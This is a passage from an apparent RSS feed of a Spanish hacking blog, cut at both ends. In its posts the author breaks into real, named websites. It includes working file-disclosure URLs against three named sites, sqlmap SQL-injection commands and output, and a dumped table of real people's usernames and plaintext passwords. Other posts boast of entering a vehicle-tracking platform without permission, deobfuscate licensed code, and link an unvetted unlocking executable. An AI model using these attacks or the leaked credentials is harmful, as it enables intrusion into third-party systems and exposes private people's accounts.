explicar mi problema), y tengo que modificar una parte del código para solucionarlo. Así que me dispongo a desofuscar el código con el &lt;a href=&quot;http://shellrootsecurity.blogspot.com/2013/02/phpgrid-desofuscado-al-100_2045.html&quot;&gt;método anteriormente explicado&lt;/a&gt; pero era totalmente diferente. &lt;br/&gt;&lt;br/&gt;Para desofuscar usaremos: &lt;pre class=&#39;brush:php&#39;&gt;&lt;br /&gt;function decode($encode){&lt;br /&gt;   echo htmlentities(base64_decode($encode), ENT_QUOTES);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br/&gt;Empece por ver el código y tratar de entender como funcionaba, primeramente se tiene: &lt;a href=&quot;http://4.bp.blogspot.com/-BAx41a5Dk44/VMJqGBPpCaI/AAAAAAAAAhQ/lNDMZzkTvH8/s1600/1.png&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-BAx41a5Dk44/VMJqGBPpCaI/AAAAAAAAAhQ/lNDMZzkTvH8/s600/1.png&quot; /&gt;&lt;/a&gt;&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;&lt;br/&gt;Se decodifica el eval que esta fuera de la función &lt;b&gt;VWAtBcwrGHZzVTlObfRi($mGDTjrHBfU)&lt;/b&gt;, y el resultado es: &lt;a href=&quot;http://1.bp.blogspot.com/-7I5PyiAy3qU/VMJrutQF2lI/AAAAAAAAAhY/6Cwgg2T-SJQ/s1600/2.png&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-7I5PyiAy3qU/VMJrutQF2lI/AAAAAAAAAhY/6Cwgg2T-SJQ/s600/2.png&quot; /&gt;&lt;/a&gt;&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;&lt;br/&gt;Que curioso tiene la misma estructura del inicio, sólo que cambia el nombre de la función y el texto que se envia como parametro tiene un tamaño menor, realizo el mismo procedimiento y obtengo: &lt;a href=&quot;http://3.bp.blogspot.com/-Lm8GzWWGc1A/VMJsj17uxJI/AAAAAAAAAhg/bTGXqtgbBPc/s1600/3.png&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-Lm8GzWWGc1A/VMJsj17uxJI/AAAAAAAAAhg/bTGXqtgbBPc/s600/3.png&quot; /&gt;&lt;/a&gt;&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;&lt;br/&gt;Nuevamente pasa lo mismo, sigamos aplicando el procedimiento &lt;a href=&quot;http://1.bp.blogspot.com/-ZOjRIfP7zps/VMJxxrBkNQI/AAAAAAAAAhs/fGFvaF4Zs8M/s1600/4.png&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-ZOjRIfP7zps/VMJxxrBkNQI/AAAAAAAAAhs/fGFvaF4Zs8M/s600/4.png&quot; /&gt;&lt;/a&gt;&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;&lt;br/&gt;Ahora si podemos ver el código usado, las variables siguen cifradas pero con sólo ver el código se puede interpretar su función. Feliz hack!&lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2015/01/phpgrid-2015-desofuscar-codigo.html</link><author>noreply@blogger.com (Alex Jurado)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-TVtciRzJyMU/UTAkoDhYi8I/AAAAAAAAAW8/RKM83-w2vR8/s72-c/phpgrid-desofuscado-al-100_2045.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-710509029862372837</guid><pubDate>Fri, 23 Jan 2015 04:29:00 +0000</pubDate><atom:updated>2015-01-22T20:35:59.221-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Auditorías de Seguridad</category><category domain="http://www.blogger.com/atom/ns#">Diclosure</category><category domain="http://www.blogger.com/atom/ns#">Dump</category><title>Owneando sistema de seguimiento y control logístico vehicular</title><description>&lt;div id=&quot;contenido-post&quot;&gt;   &lt;img src=&#39;http://2.bp.blogspot.com/-9lK1wvv_Ros/VMG3EfoVqDI/AAAAAAAAAgY/W6AttXuvHl4/s320/pwned.jpg&#39; /&gt; Y este es mi regreso después de mucho tiempo sin hacer lo que más me gusta, esto empezo en la tarde de hoy, donde entro a mi blog y veo entradas sin actualizar desde el 2013 y quería empezar este 2015 de una manera diferente. &lt;br/&gt;&lt;br/&gt;En este caso pude lograr el acceso a un servicio encargado del seguimiento y control logístico vehicular, prestado por &lt;a href=&quot;destinoseguro.net&quot;&gt;destinoseguro.net&lt;/a&gt;. &lt;br/&gt;&lt;br/&gt;Por el momento no voy a dar especificación de como fue el ingreso, hasta no tener contacto con la persona encargada del soporte, como en algunos casos se ha notado la total indiferencia por parte de estos, creo 24 horas es tiempo suficiente para que puedan responderme a mi auditoría, en caso tal, daré por entendido que no le interesa. &lt;br/&gt;&lt;br/&gt;Mostraré unas capturas de pantalla, para que vean la información tan sensible que puede contener esta plataforma. &lt;br/&gt;&lt;br/&gt;Aquí se muestra que se puede modificar el perfil de usuario, del cual me ingrese. &lt;a href=&quot;http://2.bp.blogspot.com/-Q3zHp6FV8NE/VMHH5OTeGKI/AAAAAAAAAgs/Mi6WXsGfmwU/s1600/1.png&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/-Q3zHp6FV8NE/VMHH5OTeGKI/AAAAAAAAAgs/Mi6WXsGfmwU/s600/1.png&quot; /&gt;&lt;/a&gt;&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;&lt;br/&gt;Aquí muestra el plan de ruta de un vehiculo, información del vehiculo y los lugares por donde paso, la hora exacta y la velocidad que tenia :o &lt;a href=&quot;http://3.bp.blogspot.com/-8IpyHUwWyI8/VMHISwV9lqI/AAAAAAAAAg0/y68gDiqBM84/s1600/2.png&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-8IpyHUwWyI8/VMHISwV9lqI/AAAAAAAAAg0/y68gDiqBM84/s600/2.png&quot; /&gt;&lt;/a&gt;&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;&lt;br/&gt;Ahora los vehiculos que tiene GPS, tiene la posibilidad de ser ubicados en una plataforma diferente, ahora es el servicio &lt;a href=&quot;sonaravl.com&quot;&gt;sonaravl.com&lt;/a&gt; que se encarga de mapear la ubicación dada por el GPS. &lt;a href=&quot;http://3.bp.blogspot.com/-RIw4_2nKSMU/VMHKm0_KNWI/AAAAAAAAAhA/dYOY0DLc5AU/s1600/3.png&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-RIw4_2nKSMU/VMHKm0_KNWI/AAAAAAAAAhA/dYOY0DLc5AU/s600/3.png&quot; /&gt;&lt;/a&gt;&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;&lt;br/&gt;Ya le envie un correo a la persona que creo que es la encargada del asunto, espero ponerme en contacto con él lo más rapido posible para solucionar este fallo. &lt;br/&gt;&lt;br/&gt;Agradecimientos a: &lt;b&gt;Mario E. S.&lt;/b&gt; que estuvo en el momento exacto en el que ingrese y fue al primero que le conte y me hizo una porra. &lt;b&gt;Kmilo Z.&lt;/b&gt; por la foto que me hizo reir todo el día (gaviota herida) y que será uno de los escritores del blog. &lt;br/&gt;&lt;br/&gt;Espero seguir publicando más seguido, feliz hack! &lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2015/01/owneando-sistema-de-seguimiento-y.html</link><author>noreply@blogger.com (Alex Jurado)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-9lK1wvv_Ros/VMG3EfoVqDI/AAAAAAAAAgY/W6AttXuvHl4/s72-c/pwned.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-5076259836071176811</guid><pubDate>Thu, 18 Jul 2013 04:43:00 +0000</pubDate><atom:updated>2015-01-22T08:32:53.246-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Facebook</category><title>Grave fallo de seguridad en Facebook que permite hackear cualquier perfil</title><description>&lt;div id=&quot;contenido-post&quot;&gt;   &lt;img src=&#39;http://1.bp.blogspot.com/-JLLLYrVkveg/Uea06x0qU6I/AAAAAAAAA3s/Uh5K3morXqI/s320/facebook2.jpg&#39; /&gt;De nuevo el fantasma de la seguridad planea sobre Facebook, y esta vez puede tratarse de un fallo muy grave. &lt;br/&gt;&lt;br/&gt;Al parecer, un bug en la plataforma (que todavía no ha sido arreglado por los desarrolladores de la compañía, según informa The Hacker News) permitiría a cualquiera hacerse con la cuenta de otro usuario en poco menos de 60 segundos. &lt;br/&gt;&lt;br/&gt;La vulnerabilidad funciona de la siguiente forma: cuando una persona trata de abrir un perfil nuevo en la red social con una dirección de email que ya está siendo utilizada en la plataforma (por él o por otra persona), gracias a un exploit programado (y que podría encontrarse en la red), el ciberdelincuente podría lograr que Facebook le permitiese usar de nuevo la cuenta de correo ya en uso, lo que le daría acceso a la cuenta que ya está vinculada a este email. &lt;br/&gt;&lt;img src=&quot;http://3.bp.blogspot.com/-4yRh1DTtb1w/Uea01Y_KE4I/AAAAAAAAA3k/QUd1D9CxIL4/s1600/Vulnerability-allows-Hacking-Facebook-account-and-password-reset-within-a-minute.jpg&quot; /&gt;&lt;br/&gt;Es decir, que con un pequeño programa malicioso que ha sido desarrollado, cualquiera podría hackear una cuenta de Facebook y hacerse con su control. &lt;br/&gt;&lt;br/&gt;La voz de alarma la ha dado el experto en seguridad Dan Melamed y el equipo de seguridad de Facebook ha confirmado que está trabajando para resolver la incidencia lo antes posible, según The Hacker News. &lt;br/&gt;&lt;br/&gt;En el siguiente vídeo se explica cómo se lleva a cabo el hackeo de una cuenta: &lt;br/&gt;&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;//www.youtube.com/embed/9dCxbJbcAgg&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;br/&gt;&lt;br/&gt;Visto en &lt;a href=&quot;http://news-technology-learning.blogspot.com/2013/07/grave-fallo-de-seguridad-en-facebook.html&quot;&gt;news-technology-learning.blogspot.com&lt;/a&gt;&lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2013/07/grave-fallo-de-seguridad-en-facebook.html</link><author>noreply@blogger.com (Alex Jurado)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-JLLLYrVkveg/Uea06x0qU6I/AAAAAAAAA3s/Uh5K3morXqI/s72-c/facebook2.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-6710285480855225129</guid><pubDate>Thu, 11 Jul 2013 06:24:00 +0000</pubDate><atom:updated>2013-07-10T23:51:26.277-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Full Source Disclosure</category><title>ccoa.org.co, camacolvalle.org.co, coogranada.com.co FILE SOURCE DISCLOSURE</title><description>&lt;div id=&quot;contenido-post&quot;&gt;&lt;img src=&quot;http://blog.zerial.org/wp-content/uploads/2009/09/fpd.png&quot; /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://ccoa.org.co/beta/descargar.php?file=index.php&quot; target=&quot;_blank&quot;&gt;ccoa.org.co&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.camacolvalle.org.co/descargar.php?file=index.php&quot; target=&quot;_blank&quot;&gt;camacolvalle.org.co&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.coogranada.com.co/sitio/beta/descargar.php?file=index.php&quot; target=&quot;_blank&quot;&gt;coogranada.com.co&lt;/a&gt;&lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2013/07/ccoaorgco-camacolvalleorgco.html</link><author>noreply@blogger.com (Alex Jurado)</author><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-7807716398497364092</guid><pubDate>Mon, 24 Jun 2013 22:36:00 +0000</pubDate><atom:updated>2015-01-22T08:34:17.229-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">iSQL</category><title>saferbo.com - De nuevo!</title><description>&lt;div id=&quot;contenido-post&quot;&gt;&lt;img src=&quot;http://4.bp.blogspot.com/-qmOeRhND8-A/VMEmeT5L6FI/AAAAAAAAAgI/ehO27MEgOkQ/s320/logo_saferbo.png&quot; /&gt;y continue rastreando webs que ya han &quot;modificado&quot;, y viendo si corrigieron los errores que antes habian, pero al parecer sólo les importa el diseño y dejan a un lado la seguridad. &lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.saferbo.com/&quot; target=&quot;_blank&quot;&gt;saferbo.com&lt;/a&gt;, le habia hecho una &lt;a href=&quot;http://shellrootsecurity.blogspot.com/2010/11/owneando-saferbocom_9245.html&quot; target=&quot;_blank&quot;&gt;auditoria&lt;/a&gt; donde habia conseguido entrar como administrador y ver datos confidenciales. &lt;br /&gt;&lt;br /&gt;Cuando entro a la página directamente, miro el código fuente y veo tiene &lt;b&gt;Joomla 1.5&lt;/b&gt;, nunca me la he llevado bien inyectando en este gestor, así que sigo buscando... Encontre una página en la raiz, llamada &lt;i&gt;historicos.php&lt;/i&gt;, intente inyectarle y voala, nuestro querido y adorado mensaje de &lt;a href=&quot;http://shellrootsecurity.blogspot.com/2013/04/mi-primera-experiencia-con-sqlmap.html&quot; target=&quot;_blank&quot;&gt;SQLMap&lt;/a&gt;, &lt;br/&gt;&lt;pre class=&quot;brush: php&quot;&gt;&lt;br /&gt;#&lt;br /&gt;# GET parameter &#39;id&#39; is vulnerable. Do you want to keep testing the others (if any)? [y/N]&lt;br /&gt;#&lt;br /&gt;&lt;/pre&gt;&lt;br/&gt;Esto no se porque ocurre si se supone que al cambiar el código independiente, &lt;i&gt;-comunmente llamado por un profesor de mi universidad código chorizo ajjaja-&lt;/i&gt;, al gestor de contenido &quot;x&quot; se deben de configurar todas las paginas a este gestor, más por agilidad, organización y seguridad, &lt;i&gt;-se supone :p-&lt;/i&gt;, en algunas ocaciones dejan paginas sueltas que se siguen usando, y ahí es donde entramos a aprovecharnos :p &lt;br/&gt;&lt;pre class=&quot;brush: php&quot;&gt;&lt;br /&gt;#&lt;br /&gt;# MySQL &gt;= 5.0.0&lt;br /&gt;# BASES DE DATOS [2]:&lt;br /&gt;# [*] information_schema&lt;br /&gt;# [*] informer41&lt;br /&gt;# CURRENT USER: &#39;ww11saf@%&#39;&lt;br /&gt;# IS DBA: FALSE&lt;br /&gt;#&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2013/06/saferbocom-de-nuevo.html</link><author>noreply@blogger.com (Alex Jurado)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-qmOeRhND8-A/VMEmeT5L6FI/AAAAAAAAAgI/ehO27MEgOkQ/s72-c/logo_saferbo.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-9027661928751247635</guid><pubDate>Thu, 06 Jun 2013 20:03:00 +0000</pubDate><atom:updated>2013-06-06T13:03:12.847-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">BlackBerry</category><title>Liberar BlackBerry - MEP2</title><description>&lt;div id=&quot;contenido-post&quot;&gt;&lt;center&gt;&lt;img src=&quot;http://websecuritydev.com/blog/wp-content/uploads/2013/02/blackberry-hacked.jpg&quot; width=&quot;300&quot; /&gt;&lt;/center&gt;Por motivos de la vida y quizás laborales, necesitaba con urgencia la liberación de operador de una BlackBerry, y como nunca he tenido contacto con este tipo de problema, &lt;i&gt;-ya que el mio es liberado desde que lo compré-&lt;/i&gt;, me puse a investigar en Google y en muchos de los casos se tenia que depender de un usuario tercero, el cual proporciona el código de activación MEP que pide el teléfono. Pues vamos al caso! &lt;br /&gt;&lt;br /&gt;Necesitamos sacar el &lt;a href=&quot;http://es.wikipedia.org/wiki/IMEI&quot; target=&quot;_blank&quot;&gt;IMEI&lt;/a&gt; &lt;i&gt;(código pre-grabado en los teléfonos móviles GSM)&lt;/i&gt; de la BB. Esté código se puede sacar por varios métodos, pero como necesitamos varia información ingresamos directamente, presionamos la tecla &lt;b&gt;alt&lt;/b&gt; + &lt;b&gt;aA↑&lt;/b&gt; + &lt;b&gt;H&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Tendrémos una pantalla como la siguiente, &lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-0zuBNZir8SU/UbDkfYjbJBI/AAAAAAAAAX4/mnk-GUsgSkg/s1600/bb1.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://2.bp.blogspot.com/-0zuBNZir8SU/UbDkfYjbJBI/AAAAAAAAAX4/mnk-GUsgSkg/s320/bb1.gif&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Imagen sacada de &lt;a href=&quot;http://www.movical.net/&quot;&gt;movical.net&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Sacamos los datos de &lt;b&gt;PIN&lt;/b&gt; [227e1bd6], &lt;b&gt;Versión de la aplicación&lt;/b&gt; [5.0.0.681 (1168)] y &lt;b&gt;Tiempo de actividad&lt;/b&gt; [1210]. Estos datos se ingresan en una &lt;a href=&quot;http://www.unlockbase.com/widget/blackberry-escreen-keygen.php&quot;&gt;calculara&lt;/a&gt; para sacar un código único para ingresar al menú de ingeniería, &lt;i&gt;-tener cuidado de no demorarse en digitar el número que nos ha tirado la calculadora ya que, esté código depende del tiempo de actividad y cambia cada cierto tiempo-&lt;/i&gt;. &lt;br /&gt;&lt;br /&gt;Esté número se digita en la misma pantalla en la que estamos situados, &lt;i&gt;-de forma imaginaría, porque al presionar las teclas no los verán-&lt;/i&gt;, para los números mantén pulsado ALT más el número, para las letras simplemente pulsa el botón de la letra. &lt;br /&gt;&lt;br /&gt;Nos saldrá un menú como esté, &lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-LVwkQFnbqNY/UbDoegJw-UI/AAAAAAAAAYI/R-YiVRShsqI/s1600/bb2.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://1.bp.blogspot.com/-LVwkQFnbqNY/UbDoegJw-UI/AAAAAAAAAYI/R-YiVRShsqI/s320/bb2.gif&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Imagen sacada de &lt;a href=&quot;http://www.movical.net/&quot;&gt;movical.net&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Ingresamos a la opción &lt;b&gt;OS Engineering Screens&lt;/b&gt; -&amp;gt; &lt;b&gt;Device Info&lt;/b&gt;, y tendrémos la siguiente información, debemos de buscar el ítem &lt;b&gt;MEP-XXXXX-XXX&lt;/b&gt;. &lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-XkYNnjwFUmE/UbDpVteADsI/AAAAAAAAAYQ/HzwJfsisILg/s1600/bb3.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://1.bp.blogspot.com/-XkYNnjwFUmE/UbDpVteADsI/AAAAAAAAAYQ/HzwJfsisILg/s320/bb3.gif&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Imagen sacada de &lt;a href=&quot;http://www.movical.net/&quot;&gt;movical.net&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Hasta aquí llegan la mayoria de los tutoriales, y dicen que hay que pagar o pedir el número de activación por parte de un usuario tercero, pero tengo la aplicación para que lo hagan y no tengan que esperar, &lt;a href=&quot;https://dl.dropboxusercontent.com/u/71932290/Blog/aplicaciones/BBCalculator.exe&quot; target=&quot;_blank&quot;&gt;BBCalculator.exe&lt;/a&gt; (3.77 MB). &lt;br /&gt;&lt;br /&gt;Sólo queda ingresar el &lt;b&gt;IMEI&lt;/b&gt; y seleccionar en la lista el &lt;b&gt;MEP&lt;/b&gt; y el código que genere es el que liberá la BlackBerry!&lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2013/06/liberar-blackberry-mep2.html</link><author>noreply@blogger.com (Alex Jurado)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-0zuBNZir8SU/UbDkfYjbJBI/AAAAAAAAAX4/mnk-GUsgSkg/s72-c/bb1.gif" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-4807050492733140189</guid><pubDate>Wed, 05 Jun 2013 06:23:00 +0000</pubDate><atom:updated>2013-06-05T00:41:43.784-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">iSQL</category><title>Jorge Barón Televisión - De nuevo!</title><description>&lt;div id=&quot;contenido-post&quot;&gt;   &lt;center&gt;&lt;img src=&#39;http://www.jorgebarontelevision.com.co/sitioconsolas/images/paginas/070803030818foto-jorgebaron.jpg&#39; /&gt;&lt;/center&gt; Aprovechando que salí de la universidad, volvi a retomar un poco las auditorias y empece a buscar en algunas que había hecho hace mucho tiempo, con el fin de ver si aún seguian vulnerables, -creo que esto desperto despúes de ver una publicación en &lt;a href=&quot;http://www.dragonjar.org/&quot;&gt;DragonJAR&lt;/a&gt; donde hablaron de los backd00rs-, vi muchas diferencias en el diseño de la página de &lt;a href=&quot;http://www.jorgebarontelevision.com.co/sitio/inicio.php&quot;&gt;jorgebarontelevision.com.co&lt;/a&gt; y pensé en que hayan modificado el código. &lt;br/&gt;&lt;br/&gt;Inicie con la busqueda de vectores de ataque y como primero intenté la iSQL y voala, aún seguia vigente, &lt;a href=&quot;http://shellrootsecurity.blogspot.com/2011/07/aguita-para-mi-gente-owned_3003.html&quot;&gt;&lt;aguita pa&#39; mi gente owned&gt;&lt;/a&gt;, usando mi nuevo mejor amigo &lt;a href=&quot;http://shellrootsecurity.blogspot.com/2013/04/mi-primera-experiencia-con-sqlmap.html&quot;&gt;SQLMap&lt;/a&gt;, entre a la estructura de la base de datos y los campos eran diferentes. &lt;br/&gt;&lt;pre class=&quot;brush: php&quot;&gt;&lt;br /&gt;&quot;idusuario&quot; , &quot;int(9)&quot;&lt;br /&gt;&quot;strnombre&quot; , &quot;varchar(100)&quot;&lt;br /&gt;&quot;strcargo&quot;  , &quot;varchar(100)&quot;&lt;br /&gt;&quot;strlogin&quot;  , &quot;varchar(50)&quot;&lt;br /&gt;&quot;strclave&quot;  , &quot;varchar(20)&quot;&lt;br /&gt;&quot;idactivo&quot;  , &quot;int(1)&quot;&lt;br /&gt;&quot;idperfil&quot;  , &quot;int(1)&quot;&lt;br /&gt;&quot;dsfoto&quot;    , &quot;varchar(255)&quot;&lt;br /&gt;&quot;dsprof&quot;    , &quot;varchar(255)&quot;&lt;br /&gt;&quot;dscom&quot;     , &quot;mediumtext&quot;&lt;br /&gt;&quot;dscorreo&quot;  , &quot;varchar(255)&quot;&lt;br /&gt;&lt;/pre&gt;&lt;br/&gt;Hasta me dio mucha risa los usuarios que se encuentran registrados, ajjajajaja malditos... &lt;br/&gt;&lt;pre class=&quot;brush: php&quot;&gt;&lt;br /&gt;+--------------------------+----------------------+-----------------+---------------------------+&lt;br /&gt;| strcargo                 | strclave             | strlogin        | strnombre                 |&lt;br /&gt;+--------------------------+----------------------+-----------------+---------------------------+&lt;br /&gt;| Webmaster jorgebaron.com | Nfrmr2011            | jorgebarontv    | SuperAdmon                |&lt;br /&gt;| auxiliar                 | auxsena              | graficador      | jason                     |&lt;br /&gt;| Periodista               | web191               | periodista      | Carlos Acu\xf1a           |&lt;br /&gt;| auxiliar                 | 1030                 | 578906          | jeisson mendieta          |&lt;br /&gt;| null                     | *.*.*.*.*.*.*.*.*.*. | oscaralvarezga  | null                      |&lt;br /&gt;| Usuario de Sistema       | elite01              | Mcampuzano      | Mauricio Campuzano        |&lt;br /&gt;| auxiliar                 | auxiliar             | auxiliar01      | Auxiliar                  |&lt;br /&gt;| Graficador               | wipes                | wipes           | Andres Ospina             |&lt;br /&gt;| Jefe de Sistemas         | Luc1a2006            | amleon          | Angel Mauricio Leon Mora  |&lt;br /&gt;| WebMaster                | JAVEwagr.2012        | wagrprogramador | William Arturo Gil Rativa |&lt;br /&gt;| WEBMASTER                | 1234567890           | soyloca         | WILLIAM GAY               |&lt;br /&gt;| WEBMASTER                | 1022992085           | FELIPEMILLOS    | FELIPE TELLEZ             |&lt;br /&gt;+--------------------------+----------------------+-----------------+---------------------------+&lt;/pre&gt;&lt;br/&gt;Para acabar de ajustar es un &quot;WEBMASTER&quot;, creo que hace honor a su usuario y contraseña, &lt;br/&gt;&lt;pre class=&quot;brush: php&quot;&gt;&lt;br /&gt;+--------------------------+----------------------+-----------------+---------------------------+&lt;br /&gt;| strcargo                 | strclave             | strlogin        | strnombre                 |&lt;br /&gt;+--------------------------+----------------------+-----------------+---------------------------+&lt;br /&gt;| WEBMASTER                | 1234567890           | soyloca         | WILLIAM GAY               |&lt;br /&gt;+--------------------------+----------------------+-----------------+---------------------------+&lt;/pre&gt;&lt;br/&gt;A veces no es sólo mejorar la vista de algo, tambien hay que probarlas, y en muchos de los casos &quot;asegurarlas&quot;. &lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2013/06/jorge-baron-television-de-nuevo.html</link><author>noreply@blogger.com (Alex Jurado)</author><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-4307469162774918692</guid><pubDate>Sun, 07 Apr 2013 22:24:00 +0000</pubDate><atom:updated>2013-06-06T13:04:32.434-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">iSQL</category><category domain="http://www.blogger.com/atom/ns#">SQLMap</category><title>Mi primera experiencia con SQLMap</title><description>&lt;div id=&quot;contenido-post&quot;&gt;&lt;img src=&quot;&quot; /&gt; Hoy que regreso de nuevo al campo de la seguridad informatica, decidi empezar con &lt;i&gt;-para ser sincero debí haberlo tomado hace mucho tiempo, y me arrepiento al 100%-&lt;/i&gt; sqlmap, para los que no saben que es &lt;i&gt;-dudo que tan siquiera no lo hayan escuchado nombrar-&lt;/i&gt;&lt;br/&gt;&lt;br/&gt;&lt;blockquote&gt;sqlmap es una herramienta desarrollada en python para realizar inyección de código sql automáticamente. Su objetivo es detectar y aprovechar las vulnerabilidades de inyección SQL en aplicaciones web. Una vez que se detecta una o más inyecciones SQL en el host de destino, el usuario puede elegir entre una variedad de opciones entre ellas, enumerar los usuarios, los hashes de contraseñas, los privilegios, las bases de datos , O todo el volcado de tablas / columnas específicas del DBMS , ejecutar  su propio SQL SELECT, leer archivos específicos en el sistema de archivos y mucho más. &lt;cite&gt;dragonjar.org&lt;/cite&gt;&lt;/blockquote&gt;&lt;br/&gt;&lt;br/&gt;Estuve escaneando la web, y como resultado arrojo: &lt;pre class=&quot;brush:php&quot;&gt;#&lt;br /&gt;python sqlmap.py -u http://[TARGET]/index.php?iddetalle=isep --dbs --dbms=MySQL&lt;br /&gt;&lt;br /&gt;available databases [2]:&lt;br /&gt;[*] information_schema&lt;br /&gt;[*] xxxxx_xxxxxxxxxxxx&lt;br /&gt;#&lt;/pre&gt; Después procedo a acceder a las tablas de la base de datos, &lt;pre class=&#39;brush:php&#39;&gt;#&lt;br /&gt;python sqlmap.py -u http://[TARGET]/index.php?iddetalle=isep -D xxxxx_xxxxxxxxxxxx --tables&lt;br /&gt;&lt;br /&gt;Database: xxxxx_xxxxxxxxxxxx&lt;br /&gt;[41 tables]&lt;br /&gt;+-----------------------------+&lt;br /&gt;| admin_administradores       |&lt;br /&gt;| admin_grupos                |&lt;br /&gt;| admin_grupos_admins         |&lt;br /&gt;| admin_usuarios              |&lt;br /&gt;| admin_usuarios_grupos       |&lt;br /&gt;| ....................        |&lt;br 